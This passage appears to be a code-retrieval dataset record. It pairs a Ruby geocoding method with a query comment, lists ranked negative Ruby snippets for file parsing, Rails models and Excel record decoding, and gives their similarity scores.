unless in correct format:\n # all restaurant IDs are integers, all item names are lower case letters and underscores,\n # and the price is a decimal number, all separated by commas with any surrounding whitespace\n return unless line =~ /^\\d+\\s*,\\s*\\d+\\.\\d{2}\\s*,\\s*([a-z_]+\\s*,\\s*)*[a-z_]+$/\n entry_items = line.gsub(/\\s+/,'').split(',')\n\n restaurant_id = entry_items.shift\n entry_price = entry_items.shift\n\n encoded_entry = encode_entry(entry_items)\n return unless encoded_entry > 0 #if encoded_entry equals 0 then no items matched the desired so why bother\n\n update_min_entry_price(restaurant_id, entry_price, encoded_entry)\n end", "def parse_file(src, dest)\n create_table(dest)\n\n puts \"***** Importing #{dest}\"\n\n count = 0\n# names = File.foreach(src).collect do |line|\n names = open(src).collect do |line| \n count += 1\n if count % 2000 == 0\n puts count\n end\n\n data = line.split\n\n name = data.first.capitalize\n freq = data[2].to_f\n\n name = if dest == \"surname\"\n cleanup_surname(name)\n else\n cleanup_firstname(name)\n end\n\n {:name => name, :freq => freq}\n end\n\n puts \"loading into db\"\n\n # remove any existing records\n @db[dest.to_sym].truncate\n\n # insert!\n @db[dest.to_sym].multi_insert(names)\n end", "def parse\n @line_count = 0\n @text.each do |line|\n @line_count += 1\n case line\n \n when /^DATE: ?(.*)/\n save_current_match\n parse_date($1)\n\n when /^PLAYER: ?(.*)/\n parse_player($1)\n\n when /^SET/\n parse_set\n \n when /^GAME: ?(.*)/\n parse_game($1)\n \n when /^(\\d\\w\\w?)/\n parse_point($1)\n end\n end\n \n save_current_match\n return @matches\n end", "def parse_file(filename); end", "def valid_line_for line, regexp\n @has_id_col = nil\n @line_id = nil\n return nil unless line_match = line.match(regexp)\n return nil if @options[:id] &&\n has_id_col?(line_match) &&\n @options[:id] != line_id(line_match)\n line_match\n end", "def parse_line_first_pass(line, buffer)\n if @in_toc\n if line == \"\\n\"\n @in_toc = false\n else\n @existing_headlines.push line[0..-1]\n end\n elsif line.start_with? TABLE_OF_CONTENTS\n @in_toc = true\n first_headline = line[TABLE_OF_CONTENTS.length..-1]\n @existing_headlines.push first_headline if not first_headline.empty?\n elsif match = line.match(HEADLINE)\n id, text = match[1], match[2]\n text.gsub!(REF, '')\n text.gsub!(NEW_NOTE, '')\n text.gsub!(/\\[?\"([^\"]+)\":[^ ]+\\]?/, '\\1')\n\n # If quotation marks or brackets still appear, we're in trouble.\n if text.match(/[\"\\[\\]]/)\n $stderr.puts(\"Malformed link or footnote in section headline: \" +\n \"#{text}\\n\")\n exit 1\n end\n @headlines.push \"\\\"#{text}\\\":##{id}\\n\"\n end\n end", "def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end" ]
[ "0.6612272", "0.6518746", "0.6329131", "0.62976557", "0.6276832", "0.6156063", "0.6134973", "0.61136055", "0.6107523", "0.6067316", "0.60390955", "0.6009634", "0.5993658", "0.5935391", "0.5924141", "0.5879338", "0.5875901", "0.58673316", "0.5862568", "0.57577676", "0.57549715", "0.5753755", "0.57383674", "0.57066464", "0.5701402", "0.5696478", "0.56715906", "0.5668987", "0.5668821", "0.56624424", "0.56299466", "0.56295305", "0.5625835", "0.56110144", "0.5608195", "0.5598584", "0.5593018", "0.55798894", "0.55615777", "0.555632", "0.5536974", "0.552998", "0.55191815", "0.5517815", "0.54821116", "0.54799515", "0.54753095", "0.5456558", "0.5456238", "0.54546845", "0.54487175", "0.54467106", "0.5435469", "0.5433689", "0.54314613", "0.5426296", "0.5423254", "0.54226875", "0.5422296", "0.54120916", "0.54075724", "0.540653", "0.5392847", "0.53732675", "0.53664154", "0.53638077", "0.5360571", "0.53496915", "0.53312725", "0.532852", "0.5326385", "0.5323246", "0.5321769", "0.5308665", "0.53085166", "0.5305602", "0.5305277", "0.53027225", "0.5298942", "0.529614", "0.5271694", "0.5262767", "0.52586406", "0.52556705", "0.5254876", "0.5249597", "0.5247715", "0.52441794", "0.52335876", "0.52209216", "0.5216324", "0.5214718", "0.5211147", "0.52044624", "0.52044135", "0.52021194", "0.5196723", "0.5196025", "0.51958114", "0.5188949", "0.5188544" ]
0.0
-1
TODO: Make this function available to all models somehow. Maybe add it to ApplicationRecord?
def get_coords(address) coords = Geocoder.search(address) location = self.location if coords.length === 0 coords = Geocoder.search(self.name) end debugger self.lat ||= coords.first.coordinates[0] self.lng ||= coords.first.coordinates[1] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def model_class; end", "def after_save(record)\n \n end", "def model_name; end", "def model_name; end", "def related_fields(method)\n \n end", "def before_update_save(record); end", "def orm_patches_applied; end", "def before_save(sender); end", "def before_create_save(record); end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def stores_foreign_key?; false; end", "def stores_foreign_key?; false; end", "def persisted?; end", "def persisted?; end", "def stores_foreign_key?; true; end", "def model_relationships; end", "def model\n self::Model\n end", "def base_model\n BaseModel\n end", "def persisted?; false; end", "def validate_on_create; end", "def after_update_save(record); end", "def persisted? ; false ; end", "def has_attributes?; end", "def after_create_save(record); end", "def model_name\n self\n end", "def to_query(_model)\n raise 'subclasses should implement this method.'\n end", "def model\n end", "def model\n end", "def model\n end", "def user_column\n end", "def model_attributes\n raise NotImplementedError\n end", "def check_record; end", "def before_save(*); end", "def model_name\n ''\n end", "def relation_by_sql_form\n # Nothing to do here\n end", "def model\n nil\n end", "def model\n nil\n end", "def find_record_by(model)\n raise_must_override\n end", "def name\n model_name\n end", "def name\n model_name\n end", "def is_attribute?; end", "def orm; end", "def sited_model?\n false\n end", "def subscribe_sql_active_record; end", "def private; end", "def model\n end", "def owner_class_attribute_default; end", "def persisted? ; false ; end", "def associated\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model_valid?\n true\n end", "def model_valid?\n true\n end", "def real_column; end", "def should_save_record?(record, model)\n true\n end", "def base_class\n S::Model\n end", "def model\n self\n end", "def before_validation_on_update\n before_validation_on_create\n end", "def should_perform_on_model?\n true\n end", "def make_and_model; end", "def has_one?; false; end", "def has_one?; false; end", "def before_update; end", "def model\n self.public_send(self.class._attributes.first)\n end", "def to_key\nnew_record? ? nil : [ self.send(self.class.primary_key) ]\nend", "def lookup_model_names; end", "def activerecord_save_touch_option?\n ActiveRecord::VERSION::STRING.to_f >= 5.0\nend", "def additional_fields; self.class.additional_fields end", "def additional_fields; self.class.additional_fields end", "def additional_fields; self.class.additional_fields end", "def model_name\n Item.model_name\n end", "def created_at; super; end", "def model_underscore\n get_property __method_name__\n end", "def included(model_class); end", "def has_attribute?(name)\n return true if self.class._has_virtual_column?(name)\n return super\n end", "def associated_records\n raise NotImplementedError\n end", "def original\n active_record._reflections[original_name]\n end", "def primary_key\n self[:primary_key] ||= self[:model].primary_key\n end", "def method_missing(name, *args, &block)\n fn = name.to_s\n fnne = fn.gsub('=','')\n if (!self.attributes.keys.include?(fnne)) && self.connection.columns(self.class.table_name).map{|c| c.name}.include?(fnne)\n # for next time\n self.class.reset_column_information\n\n # for this time\n if self.new_record?\n self.attributes[fnne] = nil\n else\n self.attributes[fnne] = self.connection.select_all(\"select #{fnne} from #{self.class.table_name} where id = #{self.id}\")[0][fnne] rescue nil\n end\n\n return self.attributes[fnne]\n else\n super\n end\n end", "def aggregate_treat_undefined_attributes_as_default_value?; end", "def model_name; 'Post'; end", "def model_name; 'Post'; end", "def hash_fk_model\n raise NotImplementedError\n end", "def hash_fk_model\n raise NotImplementedError\n end", "def model\n __getobj__\n end", "def private_model; @private_model = true end", "def belongs_to?; false; end", "def before_save(model)\n model.updated_by = @@current_user if model.respond_to?(\"updated_by\")\n end", "def persisted?\n false\n end", "def model_id\n model.id\n end" ]
[ "0.607274", "0.59070873", "0.5874809", "0.5874809", "0.5852584", "0.58442867", "0.5819886", "0.58083105", "0.5755825", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.57245314", "0.5644574", "0.5644574", "0.56236863", "0.56236863", "0.5571954", "0.55715495", "0.5570433", "0.5565462", "0.5527296", "0.55230874", "0.55115986", "0.5506341", "0.54834944", "0.5483009", "0.547968", "0.5476074", "0.54745907", "0.54745907", "0.54745907", "0.5457284", "0.54431486", "0.5433712", "0.5405455", "0.5391213", "0.53777754", "0.5368808", "0.5368808", "0.5362621", "0.5361477", "0.5361477", "0.53607994", "0.53541696", "0.53433657", "0.5326838", "0.53247654", "0.5321775", "0.53061324", "0.53045076", "0.530188", "0.52927", "0.52927", "0.52927", "0.52927", "0.5289817", "0.5289817", "0.52843827", "0.526954", "0.5264432", "0.5259857", "0.5243438", "0.5240716", "0.5236683", "0.52308995", "0.52308995", "0.5202866", "0.5197513", "0.5194543", "0.5188557", "0.5187814", "0.5184873", "0.5184873", "0.5184873", "0.51830703", "0.5182564", "0.51688194", "0.51679355", "0.516011", "0.51575077", "0.51447517", "0.5143498", "0.5139422", "0.51381063", "0.51327324", "0.51325333", "0.51265156", "0.51265156", "0.511218", "0.5110874", "0.51097614", "0.51051474", "0.509023", "0.50859034" ]
0.0
-1
END View/Controller Stuff BEGIN OTrunk/Data Utilities
def otCreate(rconstant, &block) otObj = $otObjectService.createObject(rconstant.java_class) yield otObj otObj end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def get_data()\t\n\tend", "def display_data_universe\n\n end", "def main_troopdata\r\n # Prepare troop\r\n @troop_id = $game_temp.battle_troop_id\r\n $game_troop.setup(@troop_id)\r\n end", "def trd; end", "def skeleton_biz_data\n #TODO: User view for payload data\n end", "def operations; end", "def operations; end", "def view_flow; end", "def stored_data; end", "def show\n @data_object = DataObject.find(params[:id]) \n @data_fields = @data_object.data_type.data_fields\n @data_entries = @data_object.data_entries\n end", "def load_data\n # @categories = Category.find(:all)\n # @infoitems = Expert.find(:all)\n end", "def site_data; end", "def view; end", "def do_data(data); end", "def index\n @weird_enterprise_stuffs = WeirdEnterpriseStuff.all\n end", "def index\n @independent_class_data = IndependentClassData.all\n end", "def index\n @data_ukts = DataUkt.all\n end", "def data\n nil\n end", "def index\n @data_items = DataItem.all\n end", "def details; end", "def data\n retrieve_data\n end", "def index\n @c_bells = CBell.all\n @slider_bells = SliderBell.all\n @estandars = Estandar.all\n @user = current_user\n end", "def routine_data\n return if controller_path.match(/\\//)\n @categories = Category.publics\n @page = params[:page]||1\n @limit = params[:limit]||25\n end", "def index\n \n get_table_name #method for table_names and model_names \n\n get_table_column_name # method for table_name, column_names and model_name \n\n get_table_data # method for table data\n\n @model_data = []\n \n @model_data = @model_name.order(sort_column + \" \" + sort_direction).page(params[:page]).per(10)\n\n respond_to do |format|\n\t format.html\n\t format.json\n \tend\n\n end", "def show_entry_table\n \t@outcome_id = params[:outcome_id]\n \t@outcome = Outcome.find(@outcome_id)\n \t@selected_timepoints = params[:selected_timepoints]\n \t@project_id = params[:project_id]\n \tunless params[:subgroup_id].nil?\n\t\t\t@subgroup = OutcomeSubgroup.find(params[:subgroup_id])\n\t\telse\n\t\t\t@subgroup = nil\n\t\tend\n \t#-----------------------------------------\n \t# Data for the entry table\n \t#-----------------------------------------\n \t\t@outcome_id, @study_id,@extraction_form_id, @selected_tp_array, @timepoints, @OCDEs, \n\t\t@measures, @datapoints, @arms, @comparisons, @comparison_measures, @comparators, \n\t\t@all_comparators, @num_comparators, @comparison_datapoints, @wa_comparisons, @wa_measures, \n\t\t@wa_comparators, @wa_all_comparators, @wa_datapoints, @footnotes = OutcomeDataEntry.get_information_for_entry_table(@outcome,@subgroup,@selected_timepoints)\n\n end", "def otrunk_view_entries\n if @otrunk_view_entries\n @otrunk_view_entries\n else\n imports_with_views = self.imports.find_all { |import| import.standard_view_entry }\n view_entries = imports_with_views.collect do |import|\n view_entry = import.standard_view_entry\n [view_entry.name_for_local_id, import.fq_classname, view_entry.fq_classname]\n end\n @otrunk_view_entries = view_entries\n end\n end", "def index\n @datatable = ComplainsDatatable.new view_context\n end", "def data\n fail NoMethodError, \"Engines need this method defined\"\n end", "def updated_data; end", "def index\n @c_depos = CDepo.all\n @estandars = Estandar.all\n @slider_depos = SliderDepo.all\n @user = current_user\n end", "def index\n @tbdata = Tbdatum.all\n end", "def doctorView \n end", "def index \n # What's in between the def & the end is all the work\n @foods = Food.all\n end", "def load_data\n if action_name == \"index\"\n @todos = Todo.where(\"project_id IN(?)\", current_user.projects.pluck(:id))\n elsif action_name == \"assign_developer\"\n @projects = current_user.projects\n @project = params[:project_id].present? ? Project.find(params[:project_id]) : @projects.first\n @todos = @project.unassigned_todos\n end\n\n begin\n @todo = Todo.find(params[:id] || params[:todo_id])\n rescue Exception => e\n @todo = @todos.first\n end\n \n end", "def load_item_data\n item = Item.find_by_id(params[:id]).present? ? Item.find(params[:id]) : Item.unscoped.find_by_id(params[:id])\n render :plain => [item.item_description || \"\", item.unit_cost.to_f || 1, item.quantity.to_f || 1, item.tax_1 || 0, item.tax_2 || 0, item.item_name || \"\", item.tax1_name || \"\", item.tax2_name || \"\", item.tax1_percentage || 0, item.tax2_percentage || 0 ]\n end", "def helpers; end", "def helpers; end", "def helpers; end", "def private; end", "def show\n @contents = DataTable.all\n\n \n end", "def index\n @authentications = current_user.authentications if current_user\n @user_data = current_user.user_data\n @data_types = DataType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_data }\n end\n end", "def index\n @dataunits = Dataunit.all\n end", "def _view; end", "def details\n data()\n end", "def get_orcid_works____\n \n\n end", "def pp_data(db, table, data = nil)\n if data == nil\n data = view_table(db, table)\n end\n pp_string = ''\n\n data.each do |entry|\n entry.each do |id, val| \n if id.is_a? String\n pp_string += \"#{id}: #{val}\\t| \" \n end \n end\n pp_string += \"\\n\"\n end\n pp_string\nend", "def init_data\n end", "def overview\n\n end", "def data\n @data\n end", "def common_variables\n if User.find_by(id: session[:user_id]).admin?\n @transactions = Transaction.all.paginate(:page => params[:page]).order(:date)\n else\n @transactions = Transaction.where(\"user_id = ?\", User.find_by(id: session[:user_id])).paginate(:page => params[:page]).order(:date) \n end\n @all_amounts = @transactions.pluck(:amount)\n @total = @all_amounts.sum #this only sums what's on the page. might not be needed on index view?\n @programs = Program.all.map { |program, id| [program.name, program.id] }\n @accounts = Account.all.map { |account, id| [account.name, account.id] }\n end", "def index\n\n @data = Datum.all\n end", "def variables; end", "def variables; end", "def request_data; end", "def index\n @datat_table_data = DatatTableDatum.all\n end", "def index\n load_data\n end", "def index\n if @usertype == \"Admin\"\n @appdatainfos = Appdatainfo.all\n\n @dates = []\n @appdatainfos.each do |data|\n @dates << data.date\n end\n\n @sellerNumbers = []\n @userNumbers = []\n @productNumbers = []\n @cartNumbers = []\n @itemInCartNumbers = []\n @averageItemInCartNumbers = []\n @averageProductPriceNumbers = []\n @averageCartValueNumbers = []\n @totalRecords = []\n\n @appdatainfos.each do |appdatainfo|\n @sellerNumbers << appdatainfo.numseller\n @userNumbers << appdatainfo.numuser\n @productNumbers << appdatainfo.numproduct\n @cartNumbers << appdatainfo.numcarts\n @itemInCartNumbers << appdatainfo.numcartitems\n @averageItemInCartNumbers << appdatainfo.averageitemsincart\n @averageProductPriceNumbers << appdatainfo.averageproductprice\n @averageCartValueNumbers << appdatainfo.averagecartvalue\n @totalRecords << appdatainfo.totalRecords\n end\n\n @CurrentNumRecords = countRecords()\n\n else\n redirect_to root_path\n end\n end", "def index\n @item = current_owner.items.new\n @items = current_owner.items.by_name\n @departments = current_owner.departments.by_name\n @order_item = OrderItem.new\n @items_by_concern = nil\n end", "def index\n @title=\"Rothstein lab raw colony size data\"\n @header=\"<h1>#{@title}</h1><em>Log Files!</em>\"\n @experiment_raw_datasets = ExperimentRawDataset.all\n end", "def index\n @technical_data = TechnicalDatum.all\n end", "def home\n @all_properties = Property.all\n @all_categories = Category.all\n @all_components = Component.all\n @all_products = Product.all\n @all_images = Image.all\n @all_datafiles = DataFile.all\n @all_aliases = TableAlias.all.sort {|x,y| x.tableName <=> y.tableName }\n end", "def index\n\n @gifts_active_flag = FeaturesMasterValues.where(\"feature_name = ?\",'gifts').select(\"active_flag\").first\n\n set_sub_categories\n \n set_area_id_names_generic\n\n set_country\n # This will find the number of vendors in the current city\n set_shops_count\n\n # This will find the number of areas in the current city\n set_areas_count\n\n form_index_links\n\n end", "def load_data\n @products = Product.find(:all, :conditions => ProductFilter.website_conditions(@website), :order => \"name\")\n @comment_types = CommentType.find(:all, :order => \"name\")\n @comment_statuses = CommentStatus.find(:all, :order => \"name\")\n @users = User.find(:all, :order => \"login\")\n end", "def index\n @unstructured_data = UnstructuredDatum.includes(:subcriterium).all\n end", "def index\n\t#get new data\n\t\t@attributes=[\"name\",\"price\",\"block\",\"nextretarget\",\"blocksleft\",\"measured\",\"difficulty\",\"estdifficulty\",\"timeretarget\"]\n\t\t@data={}\n\t\t@data[\"btc\"]=generateBTCData(2016)\n\t\t@data[\"ltc\"]=generateMapData(\"ltc\",\"http://litecoinscout.com/chain/litecoin/q\",150,2016)\n\t\t@data[\"ftc\"]=generateMapData(\"ftc\",\"http://explorer.feathercoin.com/chain/Feathercoin/q\",150,504)\nend", "def data\n raise NoMethodError, \"Engines need this method defined\"\n end", "def index\n @owner_invoicing_data = OwnerInvoicingDatum.all\n end", "def data\n update_data\n @data\n end", "def who_we_are\r\n end", "def view_data name, fields=\"*\"\n fields = \"*\" if fields == \"\"\n stmt = \"select #{fields} from #{name}\"\n stmt << $where_string if $where_string\n stmt << $order_string if $order_string\n view_sql stmt\n @form.by_name['tarea'] << stmt if @form # nil when called from menu\nend", "def index\n @userdata = Userdatum.all\n end", "def index\n @patients = Patient.order(:id)\n # @patient_data ||= Business::Logic::HerTime (US & Canada)')\n end", "def view_test_data(db)\n\ttest_data = db.execute(\"SELECT * FROM test_data\")\n\ttest_data.each do |test_data|\n\tputs \" #{test_data['first_name']} #{test_data['last_name']} is #{test_data['age']} years old, #{test_data['gender']}, and #{test_data['ethnicity']}. #{test_data['customer']}\"\n\tend\nend", "def index\n render :layout => \"user\"\n #Stock.test 'SK6U.SI'\n #Stock.searchSymbol 'starhub'\n #Stock.historicalData 'CC3.SI','2013-07-21','2013-07-25'\n end", "def ProductTablesTest()\n puts \"\\n Products:\"\n Init()\n ViewProducts()\n end", "def index\n @coolstuffs = Coolstuff.all\n end", "def initialize_data\n end", "def updated_data\n\tend", "def vieworder\n end", "def index t,param\n subclass,id = param\n models = t.find_models subclass\n if models\n models.values[0].each do |model_name, model_attributes|\n if model_name.to_s ==\"sql_query\"\n #some magic is needed here ..parse the sql query?\n else\n m = Model.new model_name, models.keys[0].to_s\n row_values=m.get_row_by_id(id).first\n c1=Hash.new\n if row_values\n m.model.columns_hash.each_with_index do |column_name,i|\n c1[column_name[0]]=eval(\"row_values.#{column_name}\")\n end\n t.extract_id_line model_attributes, c1,row_values,m.get_datatypes\n t.make_triples(c1, models.keys[0].to_s , \"\", m.get_datatypes)\n end\n end\n end\n end\n #render :text => t.make_triples(c1, controller , \"\", t.dbd_types)\n \n end", "def index\n @collected_data = CollectedDatum.all\n end", "def show\n \t@purchase_order_data = PurchaseOrderDatum.all\n @material_masters = MaterialMaster.all\n @unit_masters = UnitMaster.all\n @supplier_masters = SupplierMaster.all\n @purchase_divisions = PurchaseDivision.all\n \n \n #新規登録の画面引継用\n @@purchase_datum_purchase_date = @purchase_datum.purchase_date\n @@purchase_datum_order_id = @purchase_datum.purchase_order_datum_id\n @@purchase_datum_slip_code = @purchase_datum.slip_code\n @@purchase_datum_construction_id = @purchase_datum.construction_datum_id\n @@purchase_datum_supplier_id = @purchase_datum.supplier_id\n\t@@purchase_datum_notes = @purchase_datum.notes\n\t@@purchase_datum_division_id = @purchase_datum.division_id\n\t@@purchase_datum_inventory_division_id = @purchase_datum.inventory_division_id\n\t#add171216\n\t@@purchase_datum_unit_price_not_update_flag = @purchase_datum.unit_price_not_update_flag\n \n end", "def showData\n $page = $page +\n \"<dl>\\n\" +\n \" <dt>name\\n\" +\n \" <dd>\" + $name + \"\\n\" +\n \" <dt>organization\\n\" +\n \" <dd>\" + $organization + \"\\n\" +\n \" <dt>email\\n\" +\n \" <dd>\" + $email + \"\\n\" +\n \" <dt>source\\n\" +\n \" <dd>\" + $source + \"\\n\" +\n \" <dt>use\\n\" +\n \" <dd>\" + $use + \"\\n\" +\n \" <dt>notification\\n\" +\n \" <dd>\" + $notification + \"\\n\" +\n \"</dl>\\n\"\nend", "def additional_data\n return @additional_data\n end", "def index\n #@opml_metadatas = OpmlMetadata.find(:all)\n #@opml_metadatas = @account.opml_metadatas.collect { |m| m.metadata }\n\n @opml_metadatas = OpmlMetadata.find_all_by_account_id(@account.id)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @opml_metadatas }\n end\n end", "def expert(data)\nend", "def show\n @patients = Patient.all\n @branch_offices = BranchOffice.all\n @event_categories = EventCategory.all\n @events = Event.all \n @ae_drugs = AeDrug.all\n end", "def import_show \n end", "def index\n @project = parent\n @project.managed_repository{\n #@variables = Voeis::Variable.all(:order=>[:variable_name.asc], :include=>[:units])\n #@variables = @project.variables.all(:order=>[:variable_name.asc], :fields=>[\n # :id,:variable_name,:variable_code,:general_category,:sample_medium,:value_type,:data_type,:variable_units_id])\n #@variables = Voeis::Variable.all(:order=>[:variable_name.asc])\n #@variables = @project.variables.all(:order=>[:variable_name.asc])\n #@variables = @project.variables.all(:order=>[:variable_name.asc],:variable_units=>{:id.gt=>0})\n @variables = @project.variables.all(:order=>[:id.asc])\n @units = Voeis::Unit.all\n @time_units = Voeis::Unit.all(:units_type.like=>'%Time%')\n @variable_names = Voeis::VariableNameCV.all\n @sample_mediums= Voeis::SampleMediumCV.all\n @value_types= Voeis::ValueTypeCV.all\n @speciations = Voeis::SpeciationCV.all\n @data_types = Voeis::DataTypeCV.all\n @general_categories = Voeis::GeneralCategoryCV.all\n @label_array = Array[\"Variable Name\",\"Variable Code\",\"Unit Name\",\"Speciation\",\"Sample Medium\",\"Value Type\",\"Is Regular\",\"Time Support\",\"Time Unit ID\",\"Data Type\",\"General Cateogry\", \"Detection Limit\"]\n @vars = @variables.map{ |var| var.to_hash.merge!({:variable_units=>var.get_units}) }\n @current_variables = Array.new \n #@vars = @variables.map{ |var| var.to_hash.merge!({:variable_units=>@units.get(var.variable_units_id)}) }\n # @temp_array =Array[var.variable_name, var.variable_code,@units.get(var.variable_units_id).units_name, var.speciation,var.sample_medium, var.value_type, var.is_regular.to_s, var.time_support.to_s, var.time_units_id.to_s, var.data_type, var.general_category, var.detection_limit.to_s]\n # @current_variables << @temp_array\n #end \n }\n #@variables = @project.variables.all(:order=>[:variable_name.asc]).variable_units\n #@vars = @variables.map{ |var| var.to_hash.merge!({:variable_units=>@units.get(var.variable_units_id)}) }\n \n respond_to do |format|\n format.html # new.html.erb\n format.json do\n render :json => @variables.as_json, :callback => params[:jsoncallback]\n end\n end\n end" ]
[ "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.6015252", "0.5811213", "0.57824266", "0.56300616", "0.5572082", "0.5563232", "0.5553046", "0.5553046", "0.5495474", "0.5488229", "0.5482181", "0.54425585", "0.5434917", "0.54082155", "0.5389563", "0.53695357", "0.5313492", "0.53117025", "0.5296498", "0.52901685", "0.52752215", "0.52741635", "0.5238437", "0.5218974", "0.5199441", "0.5196346", "0.5191994", "0.51830834", "0.51784796", "0.5178447", "0.5177106", "0.51715493", "0.5169498", "0.51612896", "0.5155932", "0.51485157", "0.5148512", "0.5148512", "0.5148512", "0.5146808", "0.51397187", "0.5135907", "0.51273537", "0.51196194", "0.51182604", "0.5113784", "0.51112026", "0.5109764", "0.5103687", "0.5102186", "0.5102142", "0.5089882", "0.5089604", "0.5089604", "0.5088582", "0.50831914", "0.50807184", "0.5067487", "0.50669116", "0.5063361", "0.5060288", "0.50589544", "0.50519294", "0.5049891", "0.50442386", "0.50356865", "0.50318134", "0.5029852", "0.5025187", "0.5021401", "0.5020941", "0.5020477", "0.5015368", "0.5014358", "0.5011905", "0.50090265", "0.5006365", "0.50054723", "0.5004352", "0.5003452", "0.5000929", "0.49982715", "0.4998247", "0.49934733", "0.4991535", "0.49860266", "0.49762183", "0.49759284", "0.49728248", "0.49710798" ]
0.0
-1
END OTrunk/Data Utilities BEGIN Misc. Utilities
def avg(list) list.inject(0) { |sum, e| sum + e } / list.length.to_f end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def trd; end", "def private; end", "def operations; end", "def operations; end", "def get_data()\t\n\tend", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def tld; end", "def tld; end", "def stderrs; end", "def operation; end", "def schubert; end", "def probers; end", "def terpene; end", "def do_data(data); end", "def data_complextest(db); end", "def ndata; end", "def villian; end", "def malts; end", "def stored_data; end", "def do_extended_data(type, data); end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def berlioz; end", "def verdi; end", "def tablefeaturetype(io)\n lt, id_list, crw_header, crw_totals, id_field_next, cb_fs_data, rup_build, _ = io.read(28).unpack('VVVVVVvv')\n\n result = {\n lt: lt, # lt (4 bytes): A SourceType that specifies the type of data source for the table.\n lt_d: sourcetype(lt),\n idList: id_list, # idList (4 bytes): An unsigned integer that specifies an identifier for the table. MUST be unique within the sheet. SHOULD<183> be unique within the workbook.\n crwHeader: crw_header == 1, # crwHeader (4 bytes): A Boolean (section 2.5.14) that specifies whether the table has a header row.\n crwTotals: crw_totals == 1, # crwTotals (4 bytes): A Boolean that specifies whether there is a total row.\n idFieldNext: id_field_next, # idFieldNext (4 bytes): An unsigned integer that specifies the next unique identifier to use when assigning unique identifiers to the fieldData.idField field of the table.\n cbFSData: cb_fs_data, # cbFSData (4 bytes): An unsigned integer that specifies the size, in bytes, of the fixed portion of this structure. The fixed portion starts at the lt field and ends at the rgbHashParam field. MUST be equal to 64.\n rupBuild: rup_build, # rupBuild (2 bytes): An unsigned integer that specifies the build number of the application that wrote the structure.\n # unused1 (2 bytes): Undefined, and MUST be ignored.\n }\n\n attrs = Unxls::BitOps.new(io.read(4).unpack('V').first)\n result.merge!({\n # A - unused2 (1 bit): Undefined, and MUST be ignored.\n fAutoFilter: attrs.set_at?(1), # B - fAutoFilter (1 bit): A bit that specifies whether the table has an AutoFilter. MUST be 1 when fPersistAutoFilter is 1.\n fPersistAutoFilter: attrs.set_at?(2), # C - fPersistAutoFilter (1 bit): A bit that specifies whether the AutoFilter is preserved for this table after data refresh operations.<184>\n fShowInsertRow: attrs.set_at?(3), # D - fShowInsertRow (1 bit): A bit that specifies whether the insert row is visible. MUST be 1 if fInsertRowInsCells is 1.\n fInsertRowInsCells: attrs.set_at?(4), # E - fInsertRowInsCells (1 bit): A bit that specifies whether rows below the table are shifted down because of the insert row being visible.\n fLoadPldwIdDeleted: attrs.set_at?(5), # F - fLoadPldwIdDeleted (1 bit): A bit that specifies whether the idDeleted field is present. MUST be zero if the lt field is not set to 0x00000001.\n fShownTotalRow: attrs.set_at?(6), # G - fShownTotalRow (1 bit): A bit that specifies whether the total row was ever visible.\n # H - reserved1 (1 bit): MUST be zero and MUST be ignored.\n fNeedsCommit: attrs.set_at?(8), # I - fNeedsCommit (1 bit): A bit that specifies whether table modifications were not synchronized with the data source. MUST be zero if the lt field is not set to 0x00000001.\n fSingleCell: attrs.set_at?(9), # J - fSingleCell (1 bit): A bit that specifies whether the table is limited to a single cell. The table cannot have header rows, total rows, or multiple columns. If fSingleCell equals 1, the lt field MUST be set to 0x00000002.\n # K - reserved2 (1 bit): MUST be zero and MUST be ignored.\n fApplyAutoFilter: attrs.set_at?(11), # L - fApplyAutoFilter (1 bit): A bit that specifies whether the AutoFilter is currently applied. MUST be 1 if the AutoFilter is currently applied<185>.\n fForceInsertToBeVis: attrs.set_at?(12), # M - fForceInsertToBeVis (1 bit): A bit that specifies whether the insert row is forced to be visible because the table has no data.\n fCompressedXml: attrs.set_at?(13), # N - fCompressedXml (1 bit): A bit that specifies whether the cached data for this table in the List Data stream is compressed. MUST be zero if the lt field is not set to 0x00000001.\n fLoadCSPName: attrs.set_at?(14), # O - fLoadCSPName (1 bit): A bit that specifies whether the cSPName field is present. MUST be zero if the lt field is not set to 0x00000001.\n fLoadPldwIdChanged: attrs.set_at?(15), # P - fLoadPldwIdChanged (1 bit): A bit that specifies whether idChanged field is present. MUST be zero if the lt field is not set to 0x00000001.\n verXL: attrs.value_at(16..19), # verXL (4 bits): An unsigned integer that specifies the application version under which the table was created. MUST be either 0xB or 0xC<186>.\n fLoadEntryId: attrs.set_at?(20), # Q - fLoadEntryId (1 bit): A bit that specifies whether the entryId field is present.\n fLoadPllstclInvalid: attrs.set_at?(21), # R - fLoadPllstclInvalid (1 bit): A bit that specifies 